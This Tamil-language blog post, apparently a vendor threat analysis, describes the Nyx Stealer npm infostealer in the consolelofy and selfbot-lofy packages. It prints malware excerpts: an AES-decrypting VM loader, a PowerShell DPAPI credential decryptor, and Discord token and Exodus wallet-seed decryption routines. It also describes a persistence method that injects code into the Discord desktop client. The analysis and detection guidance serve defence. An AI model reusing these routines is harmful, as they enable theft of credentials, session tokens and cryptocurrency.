டிஎல்; DR
சைஜெனி பாதுகாப்பு ஆராய்ச்சி குழு இரண்டு தீங்கிழைக்கும் தொகுப்புகள் மூலம் நிகழ்த்தப்பட்ட ஒரு நுட்பமான npm தகவல் திருட்டு பிரச்சாரம் அடையாளம் காணப்பட்டது: கன்சோல்லோஃபி மற்றும் செல்பாட்-லோஃபி.
சமீபத்திய பதிப்பு (consolelofy@1.3.0) 216KB அளவுள்ள AES குறியாக்கம் செய்யப்பட்ட தரவுக் கோப்பை இது உட்பொதிக்கிறது, இது இயங்கும் நேரத்தில் மறைகுறியாக்கம் செய்யப்பட்டு இதன் வழியாகச் செயல்படுத்தப்படுகிறது. vm.runInNewContext()தீங்கிழைக்கும் தர்க்கம் முழுமையாக மறைகுறியாக்கம் செய்யப்பட்டுள்ளதால், சர ஆய்வைச் சார்ந்திருக்கும் நிலை ஸ்கேனர்களால், அது செயல்படுத்தப்படும் வரை அதன் நடத்தையைக் கவனிக்க முடியாது.
மறைகுறியாக்கம் நீக்கப்பட்டவுடன், உள்ளக முத்திரையிடப்பட்ட அந்தத் தரவுப் பொதி நைக்ஸ் திருடன், இலக்குகள்:
- டிஸ்கார்ட் அங்கீகார டோக்கன்கள்
- 50க்கும் மேற்பட்ட உலாவி நற்சான்றிதழ் சேமிப்பகங்கள்
- 90க்கும் மேற்பட்ட கிரிப்டோகரன்சி வாலட் நீட்டிப்புகள்
- Roblox, Instagram, Spotify, Steam, Telegram, மற்றும் TikTok அமர்வுகள்
- டிஸ்கார்ட் டெஸ்க்டாப் கிளையன்ட் நிலைத்தன்மை
இரு தொகுப்புகளிலும் உள்ள 20 பதிப்புகளும் தீங்கிழைக்கும் தன்மை கொண்டவை எனப் புகாரளிக்கப்பட்டு உறுதிப்படுத்தப்பட்டன.
இந்த npm இன்ஃபோஸ்டீலரின் தொழில்நுட்ப கண்ணோட்டம்
பாரம்பரிய நிறுவல் நேர தீம்பொருளைப் போலல்லாமல், இந்தத் தாக்குதல் ஒரு இயக்க மறைகுறியாக்க நீக்க மாதிரி.
உள்ளன:
- தீங்கிழைக்கும் நோக்கம் இல்லை
preinstallorpostinstallhooks - நிறுவலின் போது வெளிப்படையான நெட்வொர்க் அழைப்புகள் எதுவும் இல்லை.
- தெளிவுரைச் சான்று சேகரிப்பு தர்க்கம் இல்லை
தொகுதி இறக்குமதி செய்யப்படும்போது பேலோட் செயல்படுத்தப்படுகிறது. முழு தீங்கிழைக்கும் உள்ளடக்கமும் மறைகுறியாக்கம் செய்யப்பட்டு, இயக்க நேரத்தில் மட்டுமே நினைவகத்தில் உருவாகிறது.
இந்த வடிவமைப்பு, தொகுப்பு நிறுவலின் போது கண்டறியப்படுவதை குறிப்பாகத் தவிர்க்கிறது.
இந்த npm இன்ஃபோஸ்டீலர் உண்மையில் எவ்வாறு இயங்குகிறது
நைக்ஸ் ஸ்டீலர் என்ன திருடுகிறான் என்பதை ஆராய்வதற்கு முன், நாம் புரிந்து கொள்ள வேண்டும். அது எவ்வாறு செயல்படுத்துகிறது.
இந்த npm தகவல் திருடன் உள்ளே இருக்கும் தீங்கிழைக்கும் தர்க்கம் ஒரு சீரான வடிவத்தைப் பின்பற்றுகிறது:
ஒரு சிறிய லோடர், குறியாக்கம் செய்யப்பட்ட ஒரு பெரிய தரவுத் தொகுப்பை மறைகுறியாக்கம் நீக்கி, அதை ஒரு Node.js VM சூழலில் இயங்குநிலையில் இயக்குகிறது.
இந்த வடிவமைப்பு வேண்டுமென்றே செய்யப்பட்டது. தாக்குபவர் செயல்பாட்டை மறைப்பதன் மூலம் மட்டும் மறைக்கவில்லை, அவர்கள்... தீங்கிழைக்கும் குறியீட்டை நிலையான பார்வையில் இருந்து முற்றிலுமாக அகற்றுதல்.
உயர்-நிலை செயலாக்க மாதிரி
மேலோட்டமாகப் பார்த்தால், அந்த உறை நான்கு விஷயங்களைச் செய்கிறது:
- SHA-256 ஐப் பயன்படுத்தி, நிரலில் நேரடியாக இடப்பட்ட கடவுச்சொல்லிலிருந்து ஒரு AES சாவியைப் பெறுகிறது.
- AES-256-CBC ஐப் பயன்படுத்தி ஒரு பெரிய ஹெக்ஸ்-குறியிடப்பட்ட மறைக்குறியீட்டை நீக்குகிறது
- மறைகுறியாக்கம் நீக்கப்பட்ட ஜாவாஸ்கிரிப்டை இதைப் பயன்படுத்தி இயக்குகிறது
vm.runInNewContext() - சக்திவாய்ந்த இயக்க நேர அடிப்படைக் கூறுகளை வெளிப்படுத்தும் ஒரு சோதனைக் களத்தை வழங்குகிறது.
முக்கிய தொழில்நுட்ப சுருக்கம்
| கூறு | உள்ளமைவு / மதிப்பு |
|---|---|
| அல்காரிதம் | AES-256-CBC |
| முக்கிய வழித்தோன்றல் | SHA-256 (கடவுச்சொல்) |
| துவக்க திசையன் (IV) | 0x00 இன் 16 பைட்டுகள் |
| மரணதண்டனை | vm.runInNewContext(decrypted, sandbox) |
முக்கியமாக, இந்த சோதனைக்களம் பின்வருவனவற்றின் வழியாகச் செல்கிறது:
requireprocessBuffer- டைமர்கள்
- தொகுதி ஏற்றுமதிகள்
இதன் பொருள், மறைகுறியாக்கம் நீக்கப்பட்ட தரவுச் சுமையானது பின்வரும் முழுத் திறனையும் தக்க வைத்துக் கொள்கிறது:
- ஸ்பான் செயல்முறைகள்
- கோப்புகளைப் படித்தல் மற்றும் எழுதுதல்
- நெட்வொர்க் அழைப்புகளை மேற்கொள்ளுங்கள்
- உள்ளூர் பயன்பாடுகளை மாற்றியமைக்கவும்
இது ஒரு கட்டுப்படுத்தப்பட்ட மெய்நிகர் இயந்திரம் அல்ல. இது ஒரு செயலாக்கத் தளமாகப் பயன்படுத்தப்படும் மெய்நிகர் இயந்திரம்.
இயக்க நேர மறைகுறியாக்க முறை (மையச் செயலாக்கப் பொறிமுறை)
லோடர் சிறியது.
தீங்கிழைக்கும் உடல் அவ்வாறு இல்லை.
தொகுப்பிற்குள் காணப்படும் செயலாக்க முறை கீழே கொடுக்கப்பட்டுள்ளது:
const crypto = require('crypto'); const vm = require('vm'); function decryptAndExecute(encryptedHex, passphrase) { const key = crypto.createHash('sha256') .update(passphrase) .digest(); const iv = Buffer.alloc(16, 0); const decipher = crypto.createDecipheriv('aes-256-cbc', key, iv); let decrypted = decipher.update(encryptedHex, 'hex', 'utf8'); decrypted += decipher.final('utf8'); const sandbox = { require, module, exports, console, process, Buffer, __dirname, __filename, setTimeout, setInterval, clearTimeout, clearInterval }; vm.runInNewContext(decrypted, sandbox); } ஏன் திஸ் மேட்டர்ஸ்
மறைகுறியாக்கம் நீக்கப்பட்ட தரவுச் சுமை:
- செய்யும் இல்லை npm தொகுப்பிற்குள் தெளிவான உரையாக உள்ளது
- எளியவர்களுக்கு கண்ணுக்குத் தெரியாதது
grepஅல்லது நிலையான சரம் ஸ்கேனிங் - இயக்க நேரத்தில் மட்டுமே நினைவகத்தில் உருப்பெறுகிறது
- முழுமையான நோட் இயக்க நேரத் திறன்களுடன் செயல்படுகிறது
இந்த AES + VM செயலாக்கக் கலவையானது ஒரு வலுவான நடத்தைக் காட்டியாகும். நிலையான ஆய்வைத் தவிர்க்க முயற்சிக்கும் npm தகவல் திருடன்.
வேறு வார்த்தைகளில் கூறுவதானால்:
நீங்கள் தொகுப்பின் மூலக் குறியீட்டு மரத்தை ஆய்வு செய்தால், திருடன் ஒருவனைக் காண முடியாது.
நீங்கள் ஒரு மறைகுறியாக்கியைக் காண்கிறீர்கள்.
மறைகுறியாக்க நீக்கத்திற்குப் பிறகு என்ன நடக்கும்
செயல்படுத்தப்பட்டவுடன், நைக்ஸ் ஸ்டீலர் இணையான தரவு சேகரிப்பு அலைகளைத் தொடங்குகிறது.
அலை 1: உலாவி நற்சான்றிதழ் பிரித்தெடுத்தல்
தீம்பொருள்:
- NuGet CDN-இலிருந்து ஒரு பைதான் ரன்டைமைப் பதிவிறக்குகிறது.
- குறியாக்க நூலகங்களை நிறுவுகிறது
- குரோமியம் அடிப்படையிலான நற்சான்றிதழ் சேமிப்பகங்களைப் பிரித்தெடுக்கிறது
- DPAPI மூலம் பாதுகாக்கப்பட்ட இரகசியங்களின் மறைகுறியீட்டை நீக்குகிறது
நேட்டிவ் பைண்டிங்குகளைத் தொகுப்பதற்குப் பதிலாக, இது விண்டோஸ் DPAPI-ஐ நேரடியாக அழைக்க பவர்ஷெல்லைப் பயன்படுத்துகிறது.
function dpapiUnprotectWithPowerShell(dataBuf) { const b64 = dataBuf.toString('base64'); const ps = "Add-Type -AssemblyName System.Security;" + "$b=[Convert]::FromBase64String('" + b64 + "');" + "$p=[System.Security.Cryptography.ProtectedData]::Unprotect(" + "$b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);" + "[Console]::Out.Write([Convert]::ToBase64String($p))"; const cmd = `powershell -NoProfile -ExecutionPolicy Bypass -Command "${ps}"`; return Buffer.from(execSync(cmd, { encoding: 'utf8' }).trim(), 'base64'); } இந்த அணுகுமுறை:
- தொகுப்புப் பிழைகளைத் தவிர்க்கிறது
- விண்டோஸின் உள்ளார்ந்த கிரிப்டோ ஏபிஐ-களைப் பயன்படுத்துகிறது
- நிர்வாகக் கருவிகளுடன் ஒன்றிணைகிறது
இது இயக்க முறைமை அளவிலான நற்சான்றிதழ் மறைகுறியாக்கம், தரவுச் சுரண்டல் அல்ல.
அலை 2: டிஸ்கார்ட் டோக்கன் மறைகுறியாக்க நீக்கம்
அந்தத் திருடன் நெறிமுறைகளை அறிந்தவன். அது டிஸ்கார்டின் மறைகுறியாக்கப்பட்ட டோக்கன் வடிவத்தைப் புரிந்துகொள்கிறது.
function decryptToken(encryptedToken, key) { const tokenParts = encryptedToken.split('dQw4w9WgXcQ:'); const encryptedData = Buffer.from(tokenParts[1], 'base64'); const iv = encryptedData.slice(3, 15); const ciphertext = encryptedData.slice(15, -16); const tag = encryptedData.slice(-16); const decipher = crypto.createDecipheriv('aes-256-gcm', key, iv); decipher.setAuthTag(tag); return decipher.update(ciphertext).toString('utf8'); } செயல்பாட்டு ஓட்டம்:
- டிஸ்கார்டின் மாஸ்டர் கீயைப் பிரித்தெடுக்கவும்
Local State - DPAPI வழியாக முதன்மைச் சாவியை மறைகுறியாக்கம் செய்யவும்
- AES-GCM டோக்கன் தொகுதிகளை மறைகுறியாக்கம் நீக்குதல்
- டிஸ்கார்ட் ஏபிஐ-க்கு எதிராக டோக்கன்களைச் சரிபார்க்கவும்
- நைட்ரோ, பேட்ஜ்கள், பில்லிங் தகவல்களுடன் செழுமைப்படுத்துங்கள்
இது பொதுவான நற்சான்றிதழ் கொட்டல் அல்ல. இது நெறிமுறை சார்ந்த அமர்வுக் கடத்தல் ஆகும்.
அலை 3: கிரிப்டோகரன்சி வாலட் இலக்கு வைத்தல்
npm தகவல் திருடன் பட்டியலிடுகிறான்:
- 90க்கும் மேற்பட்ட உலாவி பணப்பை நீட்டிப்புகள்
- 27 டெஸ்க்டாப் வாலெட்டுகள்
- குளிர்ந்த பணப்பை பாதைகள்
- யாத்திராகமம் விதை கோப்புகள்
எடுத்துக்காட்டு விதை மறைகுறியாக்க முயற்சி:
function decryptSeco(content, password) { const key = crypto.pbkdf2Sync(password, 'exodus', 10000, 32, 'sha512'); const decipher = crypto.createDecipheriv( 'aes-256-gcm', key, content.slice(0, 12) ); decipher.setAuthTag(content.slice(-16)); return Buffer.concat([ decipher.update(content.slice(12, -16)), decipher.final() ]).toString('utf8'); } வெற்றி பெற்றால், வாலட் உடனடியாகவும் மீளமுடியாத வகையிலும் பாதிக்கப்படும்.
இது பிரச்சாரத்தின் மிக உயர்ந்த மதிப்புள்ள வருவாய் ஈட்டும் வழியைக் குறிக்கிறது.
டிஸ்கார்ட் டெஸ்க்டாப் இன்ஜெக்ஷன் வழியாக நிலைத்தன்மை
சான்றுகளைச் சேகரித்த பிறகு, நைக்ஸ் ஸ்டீலர் உள்ளூர் கோப்பை மாற்றுவதன் மூலம் நிலைத்தன்மையை ஏற்படுத்த முயற்சிக்கிறது. கூறின வாடிக்கையாளர்.
இலக்கு:
%LOCALAPPDATA%\Discord*\app-*\modules\discord_desktop_core\index.js செயல்பாட்டு வரிசை
தகவல் திருடன் பின்வரும் நடவடிக்கைகளை மேற்கொள்கிறான்:
- இயங்கும் டிஸ்கார்ட் செயல்முறைகளை நிறுத்துகிறது
- நிறுவப்பட்ட டிஸ்கார்ட் வகைகளைக் (Stable, Canary, PTB) கண்டறிகிறது.
- மேலெழுதுகிறது
discord_desktop_core/index.js - தாக்குபவரால் கட்டுப்படுத்தப்படும் வெப்ஹூக் தர்க்கத்தைச் செருகுகிறது
- டிஸ்கார்டை மறுதொடக்கம் செய்கிறது
இது, எதிர்கால டிஸ்கார்ட் அமர்வுகளில் புதிய அங்கீகார டோக்கன்கள் தானாகவே கசிவதை உறுதி செய்கிறது.
முக்கியமாக, இந்த நிலைத்தன்மை திட்டமிடப்பட்ட பணிகளையோ அல்லது பதிவக மாற்றங்களையோ சார்ந்திருக்கவில்லை. இது, மிகவும் மறைமுகமான அணுகுமுறையான, பயன்பாட்டு-நிலை குறியீடு மாற்றத்தைப் பயன்படுத்துகிறது.
தீங்கிழைக்கும் npm தொகுப்பு பின்னர் அகற்றப்பட்டாலும், டிஸ்கார்ட் கிளையன்ட் தொடர்ந்து பாதிப்புக்குள்ளாகும்.
தொழில்நுட்ப ஒப்பீடு: முறையான செல்பாட் மற்றும் என்.பி.எம் இன்ஃபோஸ்டீலர்
| கூறு | சட்டபூர்வமான நூலகம் | நைக்ஸ் என்பிஎம் இன்ஃபோஸ்டீலர் |
|---|---|---|
| குறியாக்க | கர்மா இல்லை | முழுமையான AES குறியாக்கம் செய்யப்பட்ட பேலோட் |
| இயக்க நேர VM | தேவையில்லை | vm.runInNewContext மரணதண்டனை |
| சான்று அணுகல் | டிஸ்கார்ட் ஏபிஐ மட்டும் | உலாவி, பணப்பைகள், DPAPI |
| வெளிப்புற பதிவிறக்கங்கள் | இல்லை | NuGet வழியாக பைதான் இயக்க நேரம் |
| நிலைத்தன்மையே | இல்லை | டிஸ்கார்ட் கிளையன்ட் ஊடுருவல் |
| நாணயமாக்குதலைக் | பாட் ஆட்டோமேஷன் | சான்று மறுவிற்பனை |
குறியாக்க அடுக்கு மட்டுமே இந்த முயற்சியை ஒரு வழக்கமான திறந்த மூலப் பிரிவிலிருந்து வேறுபடுத்துகிறது.
ஒரு முறையான டிஸ்கார்ட் செல்ஃப்பாட், அதன் முழு கோட்பேஸையும் என்க்ரிப்ட் செய்யவோ, DPAPI-ஐ அணுக பவர்ஷெல்லை உருவாக்கவோ, வெளிப்புற ரன்டைம்களைப் பதிவிறக்கவோ, அல்லது டெஸ்க்டாப் பயன்பாட்டின் உள்ளகங்களை மாற்றியமைக்கவோ எந்தக் காரணமும் கொண்டிருக்கவில்லை. டிஸ்கார்ட் ஊடாடல்களைத் தானியக்கமாக்குவதாகக் கூறும் ஒரு சார்புநிலைக்குள் அந்தத் திறன்கள் தோன்றும் போது, அந்தக் கட்டமைப்புப் பொருத்தமின்மையைப் புறக்கணிப்பது சாத்தியமற்றதாகிவிடுகிறது.
விசாரணைக் கண்ணோட்டத்தில், இந்த npm தகவல் திருடன் பல அடுக்குகளில் தடயங்களை விட்டுச்செல்கிறது. இருப்பினும், மிகவும் நம்பகமான குறிகாட்டிகள் நிரலில் நேரடியாகக் குறிப்பிடப்பட்ட URL-களோ அல்லது குறிப்பிட்ட கோப்புப் பாதைகளோ அல்ல, ஏனெனில் அவை வெவ்வேறு பதிப்புகளுக்கு இடையில் மாறக்கூடும். மாறாக, நீடித்திருக்கும் சமிக்ஞைகள் கட்டமைப்பு சார்ந்தவையாக உள்ளன.
தொகுப்பு மட்டத்தில், ஒரு பெரிய மறைகுறியாக்கப்பட்ட தரவுப் பொதியும், அதன் வழியாக உடனடியாகச் செயல்படும் ஒரு இயக்க நேர மறைகுறியாக்க மறைப்பானும் இணைந்திருப்பதே மிக வலுவான எச்சரிக்கை அறிகுறியாகும். vm.runInNewContext()குறியாக்கம் மட்டும் இயல்பாகவே தீங்கிழைக்கும் செயல் அல்ல என்றாலும், ஒரு டிஸ்கார்ட் பயன்பாட்டுத் தொகுப்பிற்குள் AES மறைகுறியாக்க நீக்கத்தைப் பயன்படுத்தி, அதைத் தொடர்ந்து டைனமிக் VM செயலாக்கத்தைச் செய்வது மிகவும் அசாதாரணமானதாகும்.
ஹோஸ்ட் மட்டத்தில், சந்தேகத்திற்குரிய வடிவங்களில் எதிர்பாராத DPAPI மறைகுறியாக்க நீக்கச் செயல்பாடு, Node.js சார்பு சூழலிலிருந்து செயல்முறைகள் தோன்றுதல், மற்றும் மூன்றாம் தரப்பு நூலகங்களால் ஒருபோதும் மாற்றப்படக் கூடாத உள்ளூர் பயன்பாட்டுக் கோப்புகளில் செய்யப்படும் மாற்றங்கள் ஆகியவை அடங்கும். அதேபோல், பிணைய அடுக்கில், ஒரு மேம்பாட்டுச் சார்பினால் தொடங்கப்படும் வெளிச்செல்லும் வெப்ஹூக் பாணித் தொடர்பு மற்றொரு குறிப்பிடத்தக்க முரண்பாடாக விளங்குகிறது.
வேறுவிதமாகக் கூறினால், கண்டறிதல் பரப்பு என்பது பாதுகாப்பு மீறலுக்கான ஒற்றைக் காட்டி அல்ல. குறியாக்கம், இயக்க நேரச் செயலாக்கம், நற்சான்றிதழ் அணுகல் மற்றும் நிலைத்தன்மை நடத்தை ஆகியவற்றின் ஒருங்கிணைப்பே அச்சுறுத்தலை வெளிப்படுத்துகிறது.
Xygeni-ஐப் பயன்படுத்தி கண்டறிதல் மற்றும் தணித்தல்
இந்த npm தகவல் திருடன் அடையாளம் காணப்பட்டது Xygeni-யின் தீம்பொருள் முன்கூட்டிய எச்சரிக்கை (MEW) எளிய கையொப்பப் பொருத்தத்திற்குப் பதிலாக, அடுக்கு நடத்தை தொடர்பியல் மூலம்.
அறியப்பட்ட தீங்கிழைக்கும் சரங்களைத் தேடுவதற்குப் பதிலாக, MEW முழு மூலக் கோப்பகத்திலும் உள்ள கட்டமைப்பு முரண்பாடுகளை மதிப்பிடுகிறது. இந்தச் சூழலில், பல சமிக்ஞைகளின் ஒருங்கிணைப்பிலிருந்து கண்டறிதல் வெளிப்பட்டது: தொகுதியின் நுழைவுப் புள்ளியில் உட்பொதிக்கப்பட்ட AES மறைகுறியாக்க நீக்கச் செயல்முறை, ஒரு VM சூழலுக்குள் உடனடிச் செயலாக்கம், மற்றும் திறனுக்கும் நோக்கத்திற்கும் இடையிலான தெளிவான பொருந்தாமை.
முக்கியமாக, இந்த சமிக்ஞைகளில் எதுவும் தனியாகத் தீங்கிழைக்கும் நோக்கத்தை நிரூபிப்பதில்லை. இருப்பினும், அவற்றை ஒன்றாகப் பகுப்பாய்வு செய்யும்போது, அவை இயக்க நேரச் செயல்பாட்டை மறைப்பதற்கான ஒரு முயற்சியை அம்பலப்படுத்துகின்றன. இந்த அடுக்கு அணுகுமுறை, அதிக நம்பகத்தன்மை கொண்ட விநியோகச் சங்கிலி அச்சுறுத்தல்களைக் கண்டறிவதோடு, தவறான நேர்மறை முடிவுகளையும் கணிசமாகக் குறைக்கிறது.
மேலும், நிறுவும் நேர ஆய்வு மட்டும் ஏன் போதுமானதல்ல என்பதை இந்த நிகழ்வு விளக்குகிறது. தீங்கிழைக்கும் தர்க்கம் வாழ்க்கைச் சுழற்சி ஸ்கிரிப்டுகளில் இருப்பதில்லை. அது மாட்யூல் ஏற்றப்பட்ட பின்னரே செயல்படத் தொடங்குகிறது, மேலும் நினைவகத்தில் மறைகுறியாக்கம் நீக்கப்பட்ட பின்னரே புலப்படும். எனவே, திறம்பட்ட பாதுகாப்பிற்கு, நிறுவல் நிகழ்வுகளுக்கு அப்பாற்பட்ட மறைகுறியாக்க-அறிந்த பகுப்பாய்வு, நடத்தை முறை அங்கீகாரம் மற்றும் தொடர்ச்சியான சார்புநிலைக் கண்காணிப்பு ஆகியவை தேவைப்படுகின்றன.
பதிவக நீக்கம் என்பது எதிர்வினை சார்ந்தது. இயக்க நேர பகுப்பாய்வு என்பது தடுப்பு நடவடிக்கையாகும்.
இந்த npm தகவல் திருடன் ஏன் முக்கியத்துவம் பெறுகிறது
Nyx Stealer என்பது npm அடிப்படையிலான தீம்பொருளில் ஏற்பட்ட ஒரு கட்டமைப்புப் பரிணாம வளர்ச்சியைக் குறிக்கிறது.
வரலாற்று ரீதியாக, பல தீங்கிழைக்கும் தொகுப்புகள், வெளிப்படையாகத் தெரியும் நிறுவல் நேர ஸ்கிரிப்டுகளையோ அல்லது தெளிவான நற்சான்றிதழ் கசிவு முனையங்களையோ சார்ந்திருந்தன. இதற்கு மாறாக, இந்தத் தாக்குதல் முறையானது அதன் உள்ளடக்கத்தைக் குறியாக்கம் செய்கிறது, செயலாக்கத்தை இயக்க நேரத்திற்கு ஒத்திவைக்கிறது, முறையான இயக்க முறைமை API-களைப் பயன்படுத்துகிறது, மேலும் நம்பகமான பயன்பாடுகளுக்குள் நிலைத்தன்மையை நிறுவுகிறது.
இதன் விளைவாக, தாக்குபவர் npm உள்கட்டமைப்பையே சுரண்ட வேண்டிய அவசியமில்லை. மாறாக, சார்பு நிறுவல் என்பது நம்பிக்கையை உணர்த்துவதால் இந்தத் தாக்குதல் வெற்றி பெறுகிறது. ஒரு நூலகத்தை இறக்குமதி செய்வது ஒரு பாதுகாப்பான செயல்பாடு என்று டெவலப்பர்கள் கருதுகின்றனர், குறிப்பாக அது ஒரு பிரபலமான கருவியின் நம்பத்தகுந்த கிளையாகத் தன்னை முன்வைக்கும்போது.
சூழலமைப்புகள் தொடர்ந்து வளர்ந்து, கிளைகள் பெருகும்போது, அந்த உள்ளார்ந்த நம்பகத்தன்மை எல்லையானது, தாக்குதல்களுக்கு மேலும் மேலும் கவர்ச்சிகரமான ஒரு தளமாக மாறுகிறது. எனவே, நவீன npm தகவல் திருடர்களிடமிருந்து தற்காத்துக் கொள்ள, நிலையான சரங்களைத் தேடுவதற்குப் பதிலாக, கட்டமைப்பு வடிவங்களை அடையாளம் காண்பது அவசியமாகிறது.
இறுதியில், இந்தப் பிரச்சாரம் ஒரு முக்கியமான பாடத்தை மீண்டும் வலியுறுத்துகிறது. software supply chain securityமுதல் பார்வையில் தீங்கிழைப்பதாகத் தோன்றுபவை மிகவும் ஆபத்தான அச்சுறுத்தல்கள் அல்ல; மாறாக, அவை இயங்கும் நேரம் வரை கட்டமைப்பு ரீதியாக முறையானவை போலத் தோன்றி, பின்னர் அவற்றின் உண்மையான நடத்தையை வெளிப்படுத்துபவையே ஆகும்.




